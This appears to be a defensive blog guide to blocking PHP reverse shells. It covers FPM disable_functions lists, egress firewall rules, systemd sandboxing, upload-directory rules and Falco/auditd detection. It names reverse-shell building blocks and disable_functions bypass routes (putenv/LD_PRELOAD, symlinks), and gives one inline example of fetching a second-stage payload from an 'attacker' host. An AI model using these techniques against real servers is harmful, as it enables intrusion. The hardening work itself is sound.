Blocking PHP Reverse Shells: A Config-First Guide
Every PHP reverse shell floating around GitHub, pentestmonkey’s original and the forty-seven forks that added a banner and changed the default port, does the same three things. It opens an outbound socket, it spawns a shell, and it detaches from the request so it doesn’t get murdered by max_execution_time thirty seconds later.
That’s it. That’s the whole trick. Which is excellent news, because it means you don’t need to read any particular shell’s source to defeat it. Cut any one of those three legs and the thing falls over. Cut all three and it doesn’t even get the satisfaction of a stack trace.
Part 1: The Bit For People Who Have An Incident Open
You’re skimming. I respect that. Here’s everything, no explanations. Come back for Part 2 when the adrenaline wears off.
PHP-FPM pool: in /etc/php/8.3/fpm/pool.d/yoursite.conf, always use php_admin_value, not php_value:
php_admin_value[disable_functions] = exec,passthru,shell_exec,system,popen,proc_open,proc_close,proc_nice,pcntl_exec,pcntl_fork,pcntl_signal,posix_setsid,posix_setuid,posix_kill,fsockopen,pfsockopen,stream_socket_client,socket_create,socket_connect,dl,putenv,symlink,link
php_admin_value[open_basedir] = /var/www/site:/tmp/site
php_admin_flag[allow_url_fopen] = Off
php_admin_flag[allow_url_include] = Off
php_admin_flag[expose_php] = Off
php_admin_value[max_execution_time] = 30
security.limit_extensions = .php
user = site1
group = site1
listen.owner = www-data
listen.mode = 0660
Egress firewall. This is the layer that actually saves the day:
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.1.5 -p tcp --dport 3306 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner www-data -m conntrack --ctstate NEW -j REJECT
systemd drop-in (/etc/systemd/system/php8.3-fpm.service.d/hardening.conf):
[Service]
NoNewPrivileges=yes
ProtectSystem=strict
ProtectHome=yes
PrivateTmp=yes
RestrictAddressFamilies=AF_UNIX
CapabilityBoundingSet=
MemoryDenyWriteExecute=yes
ReadWritePaths=/var/log/php /var/lib/php/sessions
Mount options for anywhere a file can land:
/dev/sdb1 /var/www/uploads ext4 defaults,noexec,nosuid,nodev 0 2
Web server. This never hands a user-writable directory to the PHP handler:
location ^~ /uploads/ {
location ~ \.php$ { deny all; }
}
Reload everything. Go drink water. The rest of this post explains why each of those lines is there, which matters more than you’d think, because about a third of them have a gotcha that will either break your app or give you a false sense of security.
Part 2: The Three-Legged Stool
Before the line-by-line, here’s the mental model that makes all of it make sense.
A reverse shell needs three capabilities:
| Leg | Typical PHP | What it does |
|---|---|---|
| The socket | fsockopen(), stream_socket_client(), socket_connect() |
Dials home to the attacker’s listener |
| The executor | proc_open(), shell_exec(), backticks |
Runs /bin/sh -i and wires it to the socket |
| The escape | pcntl_fork() + posix_setsid() |
Detaches so the shell outlives the HTTP request |
Most hardening guides obsess over the executor and forget the socket entirely. This is a mistake with a long and embarrassing history. disable_functions bypasses are a genre unto themselves: new ones appear every couple of years, usually via some FFI, LD_PRELOAD, or bug-in-a-mail-function trick. If your only defence is a list of function names in a config file, you’re betting your incident response budget on a directive that the PHP manual itself describes as circumventable and explicitly says should not be considered sufficient security on shared hosting.
So: block the executor and the socket and the escape, and then put a firewall behind all three, because you don’t trust any of them individually. Belt, braces, and a second pair of trousers.
Part 3: php.ini and the FPM Pool, Line by Line
📚 Core php.ini directives · FPM configuration · OWASP PHP Configuration Cheat Sheet
php_admin_value vs php_value: read this bit or the rest is decorative
In an FPM pool you can set PHP settings two ways, and the difference is the entire ballgame:
php_value[...]can be overridden at runtime byini_set(),.user.ini, or.htaccess.php_admin_value[...]cannot be overridden.
If you set disable_functions with php_value, an attacker who can write a .user.ini next to their webshell can simply turn it back off. Congratulations on your security theatre. Always use php_admin_value.
Two more gotchas that catch people:
disable_functionsisPHP_INI_SYSTEM. You cannot set it inhttpd.confor.htaccess. It lives inphp.inior the FPM pool, full stop.- When you define
disable_functionsin a pool, FPM appends to whateverphp.inialready had rather than replacing it. Usually convenient, occasionally confusing when you’re trying to remove something from the list and it stubbornly stays disabled. Checkphpinfo()for the effective value, not your config file.
disable_functions: the list, explained
Command execution: exec, passthru, shell_exec, system, popen, proc_open, proc_close, proc_nice, pcntl_exec
These are the obvious ones. Note that disabling shell_exec also kills the backtick operator (`ls`), which is a pleasant two-for-one: the backticks are documented as being an alias for shell_exec, so they go down with the ship. proc_open deserves special mention: it’s the one most reverse shells actually use, because unlike system() it gives you separate stdin/stdout/stderr pipes to bolt onto a socket. Plenty of “hardened” servers block system and exec while leaving proc_open wide open because some framework’s process helper needed it once in 2019.
Sockets: fsockopen, pfsockopen, stream_socket_client, socket_create, socket_connect
The forgotten half. With these gone, the shell can execute all the commands it likes and still has no way to send you the output. It’s a burglar who breaks in, finds the safe, opens the safe, and then discovers the front door has vanished.
Note that stream_socket_client is the modern equivalent of fsockopen and does the same job, so blocking one without the other accomplishes exactly nothing.
Daemonisation: pcntl_fork, pcntl_signal, posix_setsid, posix_setuid, posix_kill
This is what lets a shell survive past the request lifecycle. Without pcntl_fork + posix_setsid, your shell is a session leader’s problem and dies when FPM reaps the worker. Most PHP-FPM builds don’t even have pcntl functions available in the web SAPI, but “most” is doing heavy lifting there. Verify with php -m and phpinfo() rather than assuming.
The sneaky ones: dl, putenv, symlink, link
dl()loads shared extensions at runtime. Handing an attacker the ability to load arbitrary.sofiles rather defeats the point of the rest of the list.putenv()is the classic lever forLD_PRELOADbypasses. Set the env var, trigger something that forks a process, and your carefully curateddisable_functionslist gets stepped around entirely. This is the single most common bypass in the wild.symlink/linkare how attackers escapeopen_basedir. Point a symlink at/etc/passwd, race the check, read the file.
Fair warning: putenv breaks a surprising number of applications, including some that set timezone or locale at runtime. Test in staging. Yes, really. I know you weren’t going to.
open_basedir
php_admin_value[open_basedir] = /var/www/site:/tmp/site
Restricts every filesystem operation to the listed prefixes. This doesn’t stop a reverse shell directly: once you have /bin/sh, open_basedir is a PHP-level check and the shell is no longer in PHP. But it dramatically limits the damage from the file-read and webshell-drop phases that usually come first.
Give each site its own basedir and its own temp directory. Sharing /tmp across pools is how a compromise of your least-important WordPress plugin becomes a compromise of everything.
Note the trailing-slash trap: /var/www/site (no slash) also matches /var/www/site-backup-old-DO-NOT-DELETE. Use a trailing slash if you mean the directory specifically.
allow_url_fopen and allow_url_include
📚 Filesystem configuration docs
php_admin_flag[allow_url_fopen] = Off
php_admin_flag[allow_url_include] = Off
allow_url_include should have been off by default since the dawn of time, and as of PHP 7.4 it’s deprecated, but check anyway: you’d be amazed. allow_url_fopen is what lets file_get_contents('http://attacker/stage2.php') work, which is how the second-stage payload usually arrives.
This one genuinely breaks things. Older libraries use file_get_contents() for HTTP. The fix is to make them use cURL, which is a real code change, which means real work. Budget for it rather than quietly leaving the setting on.
max_execution_time
php_admin_value[max_execution_time] = 30
A reverse shell that stays inside the PHP request gets guillotined after 30 seconds. This is genuinely useful against lazy shells and completely useless against forking ones, which is precisely why pcntl_fork and posix_setsid are on the disable list. The two settings are a pair; neither works alone.
Also note this only counts CPU time on some platforms and doesn’t count time blocked on I/O, and a reverse shell sitting on a socket waiting for you to type is, technically speaking, blocked on I/O. Don’t lean on this one.
security.limit_extensions
security.limit_extensions = .php
FPM refuses to execute anything that doesn’t end in .php. This defends against web-server misconfigurations that would otherwise let shell.php.jpg or shell.phtml get parsed. The default is already .php, but many distro packages and control panels helpfully expand it to .php .php3 .php4 .php5 .php7, which is four extra ways to lose.
One pool per site
user = site1
group = site1
listen = /run/php/site1.sock
listen.owner = www-data
listen.mode = 0660
Separate Unix user per site, separate socket, socket readable only by the web server. Without this, a compromise of any one site reads every other site’s config files, database credentials, and session data, because they’re all running as www-data and www-data can read www-data‘s files. Shocking, I know.
Part 4: Egress Filtering: The Layer That Actually Works
📚 iptables-extensions(8) · nftables wiki · Kubernetes NetworkPolicy
If you only do one thing from this post, do this one. disable_functions is a config directive maintained by people who have repeatedly said it isn’t a security boundary. A default-deny egress firewall is a kernel-enforced rule that doesn’t care what clever function-name trick anyone found this week.
Your web tier makes outbound connections to, what, four things? The database, the cache, an SMTP relay, maybe a payment API. Everything else is either a mistake or an attack.
# Allow the four things
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.1.5 -p tcp --dport 3306 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.1.6 -p tcp --dport 6379 -j ACCEPT
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.1.7 -p tcp --dport 587 -j ACCEPT
# Log the interesting failures
iptables -A OUTPUT -m owner --uid-owner www-data -m conntrack --ctstate NEW \
-j LOG --log-prefix "PHP-EGRESS-DENY: " --log-level 4
# Deny the rest
iptables -A OUTPUT -m owner --uid-owner www-data -m conntrack --ctstate NEW -j REJECT
The --uid-owner match is the good bit: it applies to the PHP user specifically, so your package manager, monitoring agent, and backup jobs carry on unmolested while PHP lives in a box. --ctstate NEW means established connections aren’t re-evaluated, which keeps the rule cheap.
Use REJECT rather than DROP in most cases: a rejected connection fails instantly and loudly, which shows up in your app logs as a clear error rather than a mysterious 30-second hang. If you specifically want to waste an attacker’s time, DROP is your friend, but you’ll waste your own developers’ time too.
Kubernetes version: a default-deny egress NetworkPolicy on the web namespace, then explicit allows.
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-egress
namespace: web
spec:
podSelector: {}
policyTypes:
- Egress
The classic mistake here: this blocks DNS too, and your pods will fail in ways that look nothing like a network policy problem. Add an explicit allow for port 53 to kube-system. Also note that NetworkPolicy is enforced by your CNI plugin, so if you’re running a CNI that doesn’t support it, you’ve written a very pretty YAML file that does absolutely nothing. Test it. kubectl exec into a pod and try to curl something.
Second classic mistake: allowing egress to port 53 on any IP to “fix DNS.” Attackers exfiltrate over DNS. Scope it to your cluster DNS service.
Part 5: systemd Hardening
📚 systemd.exec(5) · systemd-analyze security
Create a drop-in rather than editing the unit file, so package updates don’t clobber your work:
systemctl edit php8.3-fpm.service
[Service]
NoNewPrivileges=yes
ProtectSystem=strict
ProtectHome=yes
PrivateTmp=yes
PrivateDevices=yes
RestrictAddressFamilies=AF_UNIX
RestrictNamespaces=yes
RestrictSUIDSGID=yes
CapabilityBoundingSet=
MemoryDenyWriteExecute=yes
LockPersonality=yes
ProtectKernelTunables=yes
ProtectKernelModules=yes
ProtectControlGroups=yes
SystemCallArchitectures=native
ReadWritePaths=/var/log/php /var/lib/php/sessions /var/www/site/storage
The highlights:
RestrictAddressFamilies=AF_UNIX is the nuclear option and it’s beautiful. It stops the process from creating IP sockets at the kernel level, so it doesn’t matter what PHP functions are available, what bypass someone found, or what binary the shell manages to execute. socket(AF_INET, ...) returns EAFNOSUPPORT and the callback never happens.
This works perfectly if PHP talks to MySQL and Redis over Unix sockets. If you’re connecting over TCP, you’ll need RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6 and you’re back to relying on the firewall. Consider this a decent argument for moving your database connections to Unix sockets where you can.
NoNewPrivileges=yes means no setuid binary can elevate. This is the single highest value-to-effort line in the file and it essentially never breaks anything.
ProtectSystem=strict makes the entire filesystem read-only except what you list in ReadWritePaths=. A shell that can’t write can’t persist. Note the interaction: with ProtectSystem=strict and PrivateTmp=yes, /tmp and /var/tmp remain writable, but they’re private to the unit, so anything dropped there is invisible to the rest of the system and vanishes on restart. That’s a feature.
CapabilityBoundingSet= (empty) drops every capability. FPM workers don’t need any; the master might need CAP_NET_BIND_SERVICE if it binds a low port, but if you’re using a Unix socket, it doesn’t.
MemoryDenyWriteExecute=yes blocks W+X memory mappings, which kills most in-memory shellcode. Incompatible with JIT. When you’re running PHP 8 with opcache.jit enabled, this will break things loudly. Pick one.
Then run:
systemd-analyze security php8.3-fpm.service
It scores your unit from 0 to 10 and tells you what else to turn on. It’s oddly compelling, like a credit score for paranoia. Chasing a perfect score will break your application, so treat it as a menu rather than a target.
Part 6: Filesystem: Stopping The Drop, Not Just The Callback
📚 mount(8) · nginx location · Apache RemoveHandler
Everything above assumes the attacker got a .php file executing. Let’s make that harder too.
noexec on every writable path:
/dev/sdb1 /var/www/uploads ext4 defaults,noexec,nosuid,nodev 0 2
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
tmpfs /dev/shm tmpfs defaults,noexec,nosuid,nodev 0 0
This stops dropped binaries. The “PHP shell is limited, let me upload a proper implant” step. It does not stop PHP files, because those are read and interpreted, not executed. noexec is necessary, not sufficient. (And yes, sh script.sh still works on a noexecmount, because the interpreter is the thing being executed. Nothing is ever simple.)
Webroot not owned by the PHP user:
chown -R deploy:site1 /var/www/site
chmod -R 750 /var/www/site
PHP reads its own code but can’t rewrite it. Deploys run as deploy. If your CMS wants write access to its own plugin directory, that CMS is asking you to accept remote code execution as a feature, and you should at minimum confine the writable paths to the narrowest possible list.
Never route user-writable directories to the PHP handler. This is the single most common real-world path to a webshell: upload avatar.php, request /uploads/avatar.php, receive shell.
nginx:
location ^~ /uploads/ {
location ~ \.php$ { deny all; }
}
Apache:
<Directory /var/www/site/uploads>
RemoveHandler .php .phtml .php3 .php4 .php5 .php7 .php8
RemoveType .php .phtml
php_flag engine off
<FilesMatch "\.(php|phtml|phar)$">
Require all denied
</FilesMatch>
</Directory>
Note .phar in that list. People forget .phar. Attackers do not forget .phar.
The ^~ prefix in the nginx example matters. It stops nginx from evaluating later regex locations for that path, including your \.php$fastcgi block. Get this wrong and the block silently does nothing, which is the worst kind of nothing.
File integrity monitoring with AIDE or Tripwire on the webroot. A new file in a directory that hasn’t changed since deploy is a fantastic signal, and it’s the difference between finding out in ten minutes and finding out from a customer’s tweet.
Part 7: Detection, Because Prevention Fails
Assume everything above eventually gets bypassed by someone more patient than you. What does the bypass look like in your logs?
auditd watches for the PHP user executing anything:
-a always,exit -F arch=b64 -S execve -F uid=33 -k php_exec
(uid 33 is www-data on Debian/Ubuntu; check yours.)
Falco / EDR, where the rule you want is “php-fpm spawned a shell”. In a normal application this happens approximately never, which makes it a near-zero-false-positive detection:
- rule: PHP-FPM Spawned Shell
desc: php-fpm should never spawn an interactive shell
condition: >
spawned_process and proc.pname in (php-fpm, php-fpm8.3) and
proc.name in (sh, bash, dash, zsh, nc, ncat, socat, python3, perl)
output: "Shell spawned by php-fpm (user=%user.name cmd=%proc.cmdline)"
priority: CRITICAL
Firewall logs, every packet hitting that LOG rule from Part 4 is either a bug in your app or someone dialling out. Both are worth a page.
Tune these before you deploy them, or you will get paged at 3am because a cron job legitimately runs sh and you’ll disable the rule in a fit of pique, and then six months later something bad will happen quietly.
Part 8: The Thing That Will Break
Here’s the honest part. You will find that something in your application legitimately needs exec. It’s always one of:
- Image processing shelling out to ImageMagick or
ffmpeg - PDF generation via
wkhtmltopdforgs - Some 2014-era library that shells out to
git - A “temporary” script from a contractor who is no longer reachable
The wrong fix is to punch a hole in the web tier’s config. The right fix is to move that work to a queue worker: a separate process, ideally a separate container or host, with its own restrictive config, that pulls jobs from Redis or a database table and is never reachable from the internet.
Yes, that’s an architecture change. Yes, that’s more work than deleting exec from the disable list. But the difference is that a queue worker with exec can only be triggered by jobs your application enqueued, whereas a web tier with exec can be triggered by anyone who finds a file upload bug.
If you truly can’t split it out, at minimum: use escapeshellarg() religiously, allowlist the exact binaries, and put the firewall rules from Part 4 in place, because the firewall doesn’t care that you needed exec for thumbnails.
Part 9: Verify It, Don’t Assume It
Config that isn’t tested is config that isn’t applied. Quick checks:
# What's actually disabled? (Not what you wrote in the file, what's live)
php -r 'echo ini_get("disable_functions"), PHP_EOL;'
# For FPM, check via the web SAPI, it can differ from CLI:
echo '<?php phpinfo();' > /var/www/site/_check.php # then delete it. Now. Really.
# Can PHP dial out at all?
php -r 'var_dump(@fsockopen("example.com", 80));'
# Systemd score
systemd-analyze security php8.3-fpm.service
# Is your uploads directory actually non-executable?
curl https://yoursite/uploads/test.php # should download or 403, never execute
That last one is the test everyone skips and everyone should run. Drop a harmless <?php echo "nope"; file in your uploads directory, request it, and confirm you get source or a 403 rather than the word “nope”. Then delete it.
The Summary Nobody Asked For
A reverse shell needs a socket, an executor, and an escape. Block all three in PHP, then assume that block will fail and put a default-deny egress firewall behind it, then assume that will fail and make the filesystem read-only, then assume everything failed and write the detection rule.
None of these layers is individually sufficient. That’s fine. That’s the point. Security that depends on one thing being perfect is just optimism with a config file.
Further Reading
- PHP Security section of the manual
- OWASP PHP Configuration Cheat Sheet
- Core php.ini directives
- FPM configuration reference
- systemd.exec(5) sandboxing options
- Kubernetes NetworkPolicy
- CIS Benchmarks for your distro

